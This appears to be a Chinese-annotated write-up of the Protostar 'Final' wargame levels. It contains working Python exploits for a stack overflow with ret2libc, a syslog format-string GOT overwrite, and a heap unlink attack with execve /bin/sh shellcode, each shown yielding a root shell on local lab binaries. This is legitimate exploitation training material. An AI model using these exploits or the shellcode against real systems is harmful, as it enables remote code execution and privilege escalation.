Final
The levels to be exploited can be found in the /opt/protostar/bin directory.
The /proc/sys/kernel/core_pattern is set to /tmp/core.%s.%e.%p.
Final 0¶
You may wish to use a toupper() proof shellcode
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer); // reads a line from stdin into the buffer until either a terminating newline or EOF, which it replaces with '\0'
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
gets
不处理\0
,而strlen
通过\0
来计算字符串的长度,因此可以通过前置\0
来绕过toupper
-
Core files will be in /tmp
核心转储文件(man core
)The default action of certain signals is to cause a process to terminate and produce a core dump file, a disk file containing an image of the process's memory at the time of termination.
-
常见 Signal 如下
Signal Action Comment SIGINT Term Interrupt from keyboard SIGILL Core Illegal Instruction SIGSEGV Core Invalid memory reference -
首先通过缓冲区溢出来获得核心转储文件用于调试并确定溢出点
$ python -c "print 'a'*512 + '\x00'*4 + 'aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll'" | nc localhost 2995 $ ls /tmp/core* /tmp/core.11.final0.18906 $ su root # gdb final0 /tmp/core.11.final0.18906 Core was generated by `/opt/protostar/bin/final0`. Program terminated with signal 11, Segmentation fault. #0 0x65656565 in ?? () # eeee
-
也可以通过进程调试
# gdb -p `pidof final0` accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64 64 in ../sysdeps/unix/sysv/linux/i386/socket.S (gdb) set follow-fork-mode child # 跟踪子进程 Current language: auto The current source language is "auto; currently asm". (gdb) c Continuing. [New process 19058] # another terminal sends the payload Program received signal SIGSEGV, Segmentation fault. [Switching to process 19058] 0x65656565 in ?? ()
-
查看 ret2libc 函数地址
# gdb -p `pidof final0` accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64 64 in ../sysdeps/unix/sysv/linux/i386/socket.S (gdb) info functions @plt All functions matching regular expression "@plt": Non-debugging symbols: 0x080489fc __errno_location@plt 0x08048a0c srand@plt 0x08048a1c open@plt ... 0x08048c0c execve@plt ... 0xb7fe380c ___tls_get_addr@plt 0xb7fe381c free@plt Current language: auto The current source language is "auto; currently asm".
-
观察如何构造栈来正确地调用
execve()
void main() { execve("/bin/sh", 0, 0); // int execve(const char *filename, char *const argv[], char *const envp[]); // no arguments and environment variables }
$ gcc execve_example.c -o execve_example $ gdb ./execve_example (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 <main+0>: push ebp 0x080483c5 <main+1>: mov ebp,esp 0x080483c7 <main+3>: and esp,0xfffffff0 0x080483ca <main+6>: sub esp,0x10 0x080483cd <main+9>: mov DWORD PTR [esp+0x8],0x0 0x080483d5 <main+17>: mov DWORD PTR [esp+0x4],0x0 0x080483dd <main+25>: mov DWORD PTR [esp],0x80484b0 0x080483e4 <main+32>: call 0x80482fc <execve@plt> 0x080483e9 <main+37>: leave 0x080483ea <main+38>: ret End of assembler dump. (gdb) break *0x080483e4 Breakpoint 1 at 0x80483e4 (gdb) r Starting program: /tmp/execve_example Breakpoint 1, 0x080483e4 in main () (gdb) si 0x080482fc in execve@plt () (gdb) x/8wx $esp 0xbffff69c: 0x080483e9 0x080484b0 0x00000000 0x00000000 0xbffff6ac: 0xb7fd7ff4 0x08048400 0x00000000 0xbffff738 (gdb) x/2i 0x080483e9 0x80483e9 <main+37>: leave 0x80483ea <main+38>: ret (gdb) x/s 0x080484b0 0x80484b0: "/bin/sh"
-
获取
/bin/sh
在 libc 中的偏移$ ldd execve_example # get paths to all loaded libraries linux-gate.so.1 => (0xb7fe4000) libc.so.6 => /lib/libc.so.6 (0xb7e99000) /lib/ld-linux.so.2 (0xb7fe5000) $ grep -a -b -o /bin/sh /lib/libc.so.6 1176511:/bin/sh # -a, --text equivalent to --binary-files=text # -b, --byte-offset print the byte offset with output lines # -o, --only-matching show only the part of a line matching PATTERN
-
查看 libc 的起始地址
# pidof final0 1514 # cat /proc/1514/maps 08048000-0804a000 r-xp 00000000 00:10 2220 /opt/protostar/bin/final0 0804a000-0804b000 rwxp 00001000 00:10 2220 /opt/protostar/bin/final0 b7e96000-b7e97000 rwxp 00000000 00:00 0 b7e97000-b7fd5000 r-xp 00000000 00:10 759 /lib/libc-2.11.2.so b7fd5000-b7fd6000 ---p 0013e000 00:10 759 /lib/libc-2.11.2.so b7fd6000-b7fd8000 r-xp 0013e000 00:10 759 /lib/libc-2.11.2.so b7fd8000-b7fd9000 rwxp 00140000 00:10 759 /lib/libc-2.11.2.so b7fd9000-b7fdc000 rwxp 00000000 00:00 0 b7fe0000-b7fe2000 rwxp 00000000 00:00 0 b7fe2000-b7fe3000 r-xp 00000000 00:00 0 [vdso] b7fe3000-b7ffe000 r-xp 00000000 00:10 741 /lib/ld-2.11.2.so b7ffe000-b7fff000 r-xp 0001a000 00:10 741 /lib/ld-2.11.2.so b7fff000-b8000000 rwxp 0001b000 00:10 741 /lib/ld-2.11.2.so bffeb000-c0000000 rwxp 00000000 00:00 0 [stack]
Exploit¶
import struct, socket, telnetlib
padding = 'a' * 512 + '\x00' * 4 + 'aaaabbbbccccdddd'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 2995))
execve = struct.pack('<I', 0x08048c0c)
binsh = struct.pack('<I', 1176511 + 0xb7e97000)
exploit = padding + execve + 'RETA' + binsh + '\x00' * 8
s.send(exploit + '\n')
t = telnetlib.Telnet()
t.sock = s
t.interact() # 使用 telnetlib 切换到交互模式
$ python final.py
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
*** Connection closed by remote host ***
Final 1¶
The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.
#include "../common/common.c"
#include <syslog.h>
#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
// void syslog(int priority, const char *format, ...);
// buf is the format string! 0v0
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
// struct sockaddr_in {
// sa_family_t sin_family; /* address family: AF_INET */
// in_port_t sin_port; /* port in network byte order */
// struct in_addr sin_addr; /* internet address */
// };
// /* Internet address. */
// struct in_addr {
// uint32_t s_addr; /* address in network byte order */
// };
l = sizeof(struct sockaddr_in);
// int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
// getpeername() returns the address of the peer connected to the socket sockfd, in the buffer pointed to by addr.
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
-
正确使用
login
后可以在/var/log/syslog
中看到登录尝试日志
-
看上去似乎没有可控制的
printf
,但syslog
类似于printf
,第二个参数为格式化字符串,因而可以通过username
和pw
来控制,接下来可以修改strncmp
函数 GOT 表的条目地址 -
获取
strncmp
函数 GOT 表的条目地址# gdb --pid `pidof final1` (gdb) info functions strncmp All functions matching regular expression "strncmp": File strncmp.c: int *__GI_strncmp(const char *, const char *, size_t); File ../sysdeps/i386/i486/bits/string.h: int __strncmp_g(const char *, const char *, size_t); Non-debugging symbols: 0x08048d9c strncmp 0x08048d9c strncmp@plt Current language: auto The current source language is "auto; currently asm". (gdb) x/2i 0x08048d9c 0x8048d9c <strncmp@plt>: jmp *0x804a1a8 0x8048da2 <strncmp@plt+6>: push $0x160 (gdb) x/wx 0x804a1a8 0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0x08048da2
-
获取
system
函数的地址-
On a real modern system you would first have to leak addresses from memory in order to calculate offsets and break ASLR
(gdb) x system # part of libc 0xb7ecffb0 <__libc_system>: 0x890cec83
-
-
观察输入字符串在栈中的位置
$ nc 127.0.0.1 2994 [final1] $ username AAAA %x %x %x %x %x %x %x %x [final1] $ login BBBB %x %x %x %x %x %x %x %x login failed [final1] $ ^C
-
最短
hostname
为x.x.x.x:x
(长度为 \(9\)),最长hostname
为xxx.xxx.xxx.xxx:xxxxx
(长度为 \(21\)),为了对齐,需要进行填充,根据hostname
的长度范围可以统一填充到 \(24\) 字节,这样一来就可以固定写入第 \(17\) 个参数所指向的地址import socket, struct def read_util(check): buf = '' while check not in buf: buf += s.recv(1) return buf s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('localhost', 2994)) ip, port = s.getsockname() hostname = ip + ':' + str(port) # 降低变长 hostname 的影响 pad = 'A' * (24 - len(hostname)) username = pad + 'BBBB' + '%08x ' * 20 login = 'CCCC' print read_util('[final1] $') s.send('username ' + username + '\n') print read_util('[final1] $') s.send('login ' + login + '\n') print read_util('[final1] $')
-
接下来查看已打印字符数量,并确定剩余需要字符的数量
import socket, struct def read_util(check): buf = '' while check not in buf: buf += s.recv(1) return buf s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('localhost', 2994)) strncmp = struct.pack('I', 0x804a1a8) ip, port = s.getsockname() hostname = ip + ':' + str(port) pad = 'A' * (24 - len(hostname)) username = pad + 'BBBB' + strncmp + '%18$n' login = 'CCCC' print read_util('[final1] $') s.send('username ' + username + '\n') print read_util('[final1] $') s.send('login ' + login + '\n') print read_util('[final1] $') raw_input('waiting... hit [enter]')
$ python final.py [final1] $ [final1] $ login failed [final1] $ waiting... hit [enter] # open another terminal # pidof final1 21600 1516 # gdb --pid 21600 (gdb) x/wx 0x804a1a8 0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>: 0x00000030 Current language: auto The current source language is "auto; currently asm".
Exploit¶
import socket, struct, telnetlib
def read_util(check):
buf = ''
while check not in buf:
buf += s.recv(1)
return buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 2994))
strncmp_got = 0x804a1a8
ip, port = s.getsockname()
hostname = ip + ':' + str(port)
pad = 'A' * (24 - len(hostname))
username = pad + struct.pack('I', strncmp_got) + struct.pack('I', strncmp_got + 2) + '%65408x' + '%17$n' + '%47164x' + '%18$n'
# 65408 = 0xffb0 - 0x30
# 47164 = 0xb7ec - 0xffb0
login = 'CCCC'
print read_util('[final1] $')
s.send('username ' + username + '\n')
print read_util('[final1] $')
s.send('login ' + login + '\n')
print read_util('[final1] $')
t = telnetlib.Telnet()
t.sock = s
t.interact()
$ python final.py
[final1] $
[final1] $
login failed
[final1] $
id
uid=0(root) gid=0(root) groups=0(root)
[final1] $ whoami
root
Final 2¶
Remote heap level :)
#include "../common/common.c"
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
// index, rindex - locate character in string
// The rindex() function returns a pointer to the last occurrence of the character c in the string s.
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
// strstr - locate a substring
if(start) {
while(*start != '/') start--; // 并不检查是否在字符串内
memmove(start, p, l); // void *memmove(void *dest, const void *src, size_t n);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1); // 128 bytes, the chunk size is bigger than MAX_FAST_SIZE(80)
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]); // 按分配的顺序释放
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
- 输入字符串应满足以下条件
- 以
FSRD
开头,总长度为 128 字节 - 包含
/
和子串ROOT
- 以
-
在当前工作目录/当前用户家目录下创建
.gdbinit
,写入每次启动gdb
时希望执行的命令set disassembly-flavor intel set pagination off
-
重点关注
check_path
,利用/
查找和memmove
修改堆,并借助free
完成unlink
攻击Dump of assembler code for function check_path
0x0804bcd0 <check_path+0>: push ebp 0x0804bcd1 <check_path+1>: mov ebp,esp 0x0804bcd3 <check_path+3>: sub esp,0x28 0x0804bcd6 <check_path+6>: mov DWORD PTR [esp+0x4],0x2f 0x0804bcde <check_path+14>: mov eax,DWORD PTR [ebp+0x8] 0x0804bce1 <check_path+17>: mov DWORD PTR [esp],eax 0x0804bce4 <check_path+20>: call 0x8048f7c <rindex@plt> 0x0804bce9 <check_path+25>: mov DWORD PTR [ebp-0x10],eax 0x0804bcec <check_path+28>: mov eax,DWORD PTR [ebp-0x10] 0x0804bcef <check_path+31>: mov DWORD PTR [esp],eax 0x0804bcf2 <check_path+34>: call 0x8048edc <strlen@plt> 0x0804bcf7 <check_path+39>: mov DWORD PTR [ebp-0xc],eax 0x0804bcfa <check_path+42>: cmp DWORD PTR [ebp-0x10],0x0 0x0804bcfe <check_path+46>: je 0x804bd45 <check_path+117> 0x0804bd00 <check_path+48>: mov DWORD PTR [esp+0x4],0x804c2cc 0x0804bd08 <check_path+56>: mov eax,DWORD PTR [ebp+0x8] 0x0804bd0b <check_path+59>: mov DWORD PTR [esp],eax 0x0804bd0e <check_path+62>: call 0x8048f4c <strstr@plt> 0x0804bd13 <check_path+67>: mov DWORD PTR [ebp-0x14],eax 0x0804bd16 <check_path+70>: cmp DWORD PTR [ebp-0x14],0x0 0x0804bd1a <check_path+74>: je 0x804bd45 <check_path+117> 0x0804bd1c <check_path+76>: jmp 0x804bd22 <check_path+82> 0x0804bd1e <check_path+78>: sub DWORD PTR [ebp-0x14],0x1 0x0804bd22 <check_path+82>: mov eax,DWORD PTR [ebp-0x14] 0x0804bd25 <check_path+85>: movzx eax,BYTE PTR [eax] 0x0804bd28 <check_path+88>: cmp al,0x2f 0x0804bd2a <check_path+90>: jne 0x804bd1e <check_path+78> 0x0804bd2c <check_path+92>: mov eax,DWORD PTR [ebp-0xc] 0x0804bd2f <check_path+95>: mov DWORD PTR [esp+0x8],eax 0x0804bd33 <check_path+99>: mov eax,DWORD PTR [ebp-0x10] 0x0804bd36 <check_path+102>: mov DWORD PTR [esp+0x4],eax 0x0804bd3a <check_path+106>: mov eax,DWORD PTR [ebp-0x14] 0x0804bd3d <check_path+109>: mov DWORD PTR [esp],eax 0x0804bd40 <check_path+112>: call 0x8048f8c <memmove@plt> 0x0804bd45 <check_path+117>: leave 0x0804bd46 <check_path+118>: ret
-
查看堆的起始地址
# gdb -p 1497 Attaching to process 1497 (gdb) set follow-fork-mode child Current language: auto The current source language is "auto; currently asm". (gdb) break *0x0804bd40 Breakpoint 1 at 0x804bd40: file final2/final2.c, line 27. (gdb) c Continuing. [New process 1743] [Switching to process 1743] Breakpoint 1, 0x0804bd40 in check_path (buf=0x804e00c "AAAA/ROOT/BBBB/CCCC") at final2/final2.c:27 Current language: auto The current source language is "auto; currently c". (gdb) info proc mappings process 1743 cmdline = '/opt/protostar/bin/final2' cwd = '/' exe = '/opt/protostar/bin/final2' Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x804d000 0x5000 0 /opt/protostar/bin/final2 0x804d000 0x804e000 0x1000 0x4000 /opt/protostar/bin/final2 0x804e000 0x804f000 0x1000 0 [heap] 0xb7e96000 0xb7e97000 0x1000 0 0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so 0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so 0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so 0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so 0xb7fd9000 0xb7fdc000 0x3000 0 0xb7fe0000 0xb7fe2000 0x2000 0 0xb7fe2000 0xb7fe3000 0x1000 0 [vdso] 0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so 0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so 0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so 0xbffeb000 0xc0000000 0x15000 0 [stack]
-
因为本身分配的 chunk 大小即大于
MAX_FAST_SIZE
,因而在释放第一个 chunk 时,若下一个 chunk 未被使用,将进行unlink
,利用函数check_path
修改第二个 chunk -
在执行
free
之后,可作为修改 GOT 表条目的目标函数为write
和strlen
(选择write
)Dump of assembler code for function get_requests
0x0804bd47 <get_requests+0>: push ebp 0x0804bd48 <get_requests+1>: mov ebp,esp 0x0804bd4a <get_requests+3>: sub esp,0x428 0x0804bd50 <get_requests+9>: mov DWORD PTR [ebp-0x10],0x0 0x0804bd57 <get_requests+16>: cmp DWORD PTR [ebp-0x10],0xfe 0x0804bd5e <get_requests+23>: jg 0x804bddb <get_requests+148> 0x0804bd60 <get_requests+25>: mov DWORD PTR [esp+0x4],0x1 0x0804bd68 <get_requests+33>: mov DWORD PTR [esp],0x80 0x0804bd6f <get_requests+40>: call 0x804b4ee <calloc> 0x0804bd74 <get_requests+45>: mov DWORD PTR [ebp-0x14],eax 0x0804bd77 <get_requests+48>: mov eax,DWORD PTR [ebp-0x10] 0x0804bd7a <get_requests+51>: mov edx,DWORD PTR [ebp-0x14] 0x0804bd7d <get_requests+54>: mov DWORD PTR [ebp+eax*4-0x414],edx 0x0804bd84 <get_requests+61>: add DWORD PTR [ebp-0x10],0x1 0x0804bd88 <get_requests+65>: mov DWORD PTR [esp+0x8],0x80 0x0804bd90 <get_requests+73>: mov eax,DWORD PTR [ebp-0x14] 0x0804bd93 <get_requests+76>: mov DWORD PTR [esp+0x4],eax 0x0804bd97 <get_requests+80>: mov eax,DWORD PTR [ebp+0x8] 0x0804bd9a <get_requests+83>: mov DWORD PTR [esp],eax 0x0804bd9d <get_requests+86>: call 0x8048e5c <read@plt> 0x0804bda2 <get_requests+91>: cmp eax,0x80 0x0804bda7 <get_requests+96>: jne 0x804bdde <get_requests+151> 0x0804bda9 <get_requests+98>: mov DWORD PTR [esp+0x8],0x4 0x0804bdb1 <get_requests+106>: mov DWORD PTR [esp+0x4],0x804c2d1 0x0804bdb9 <get_requests+114>: mov eax,DWORD PTR [ebp-0x14] 0x0804bdbc <get_requests+117>: mov DWORD PTR [esp],eax 0x0804bdbf <get_requests+120>: call 0x8048fdc <strncmp@plt> 0x0804bdc4 <get_requests+125>: test eax,eax 0x0804bdc6 <get_requests+127>: jne 0x804bde1 <get_requests+154> 0x0804bdc8 <get_requests+129>: mov eax,DWORD PTR [ebp-0x14] 0x0804bdcb <get_requests+132>: add eax,0x4 0x0804bdce <get_requests+135>: mov DWORD PTR [esp],eax 0x0804bdd1 <get_requests+138>: call 0x804bcd0 <check_path> 0x0804bdd6 <get_requests+143>: jmp 0x804bd57 <get_requests+16> 0x0804bddb <get_requests+148>: nop 0x0804bddc <get_requests+149>: jmp 0x804bde2 <get_requests+155> 0x0804bdde <get_requests+151>: nop 0x0804bddf <get_requests+152>: jmp 0x804bde2 <get_requests+155> 0x0804bde1 <get_requests+154>: nop 0x0804bde2 <get_requests+155>: mov DWORD PTR [ebp-0xc],0x0 0x0804bde9 <get_requests+162>: jmp 0x804be1c <get_requests+213> 0x0804bdeb <get_requests+164>: mov DWORD PTR [esp+0x8],0xb 0x0804bdf3 <get_requests+172>: mov DWORD PTR [esp+0x4],0x804c2d6 0x0804bdfb <get_requests+180>: mov eax,DWORD PTR [ebp+0x8] 0x0804bdfe <get_requests+183>: mov DWORD PTR [esp],eax 0x0804be01 <get_requests+186>: call 0x8048dfc <write@plt> 0x0804be06 <get_requests+191>: mov eax,DWORD PTR [ebp-0xc] 0x0804be09 <get_requests+194>: mov eax,DWORD PTR [ebp+eax*4-0x414] 0x0804be10 <get_requests+201>: mov DWORD PTR [esp],eax 0x0804be13 <get_requests+204>: call 0x804a9c2 <free> 0x0804be18 <get_requests+209>: add DWORD PTR [ebp-0xc],0x1 0x0804be1c <get_requests+213>: mov eax,DWORD PTR [ebp-0xc] 0x0804be1f <get_requests+216>: cmp eax,DWORD PTR [ebp-0x10] 0x0804be22 <get_requests+219>: jl 0x804bdeb <get_requests+164> 0x0804be24 <get_requests+221>: leave 0x0804be25 <get_requests+222>: ret
(gdb) x/i 0x8048dfc 0x8048dfc <write@plt>: jmp DWORD PTR ds:0x804d41c (gdb) x/wx 0x804d41c 0x804d41c <_GLOBAL_OFFSET_TABLE_+64>: 0xb7f53c70
-
与 Heap 3 不同,需要获得 shell,又因为有
BK->fd
写回,\(8\) 字节不足以放下所有 shellcode,可利用jmp
,使用 Online Assembler and Disassembler 转换为 shellcode# jmp 0xc \xeb\x0a
Exploit¶
import socket, struct, telnetlib
REQSZ = 128
def pad(m):
return ('FSRD' + m).ljust(REQSZ, '\x00')[:REQSZ]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 2993))
jmp = "\xeb\x0a"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
s.send(pad('/ROOT' + '/' * 0xf + jmp + '\x90' * 0xa + shellcode + '/' * 0x80))
fake_chunk = struct.pack("I", 0xfffffffc) * 2 + struct.pack("I", 0x804d41c - 0xc) + struct.pack("I", 0x804e020)
s.send(pad('ROOT/' + fake_chunk))
t = telnetlib.Telnet()
t.sock = s
t.interact()
$ python final.py
Process OK
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
*** Connection closed by remote host ***
Pageviews: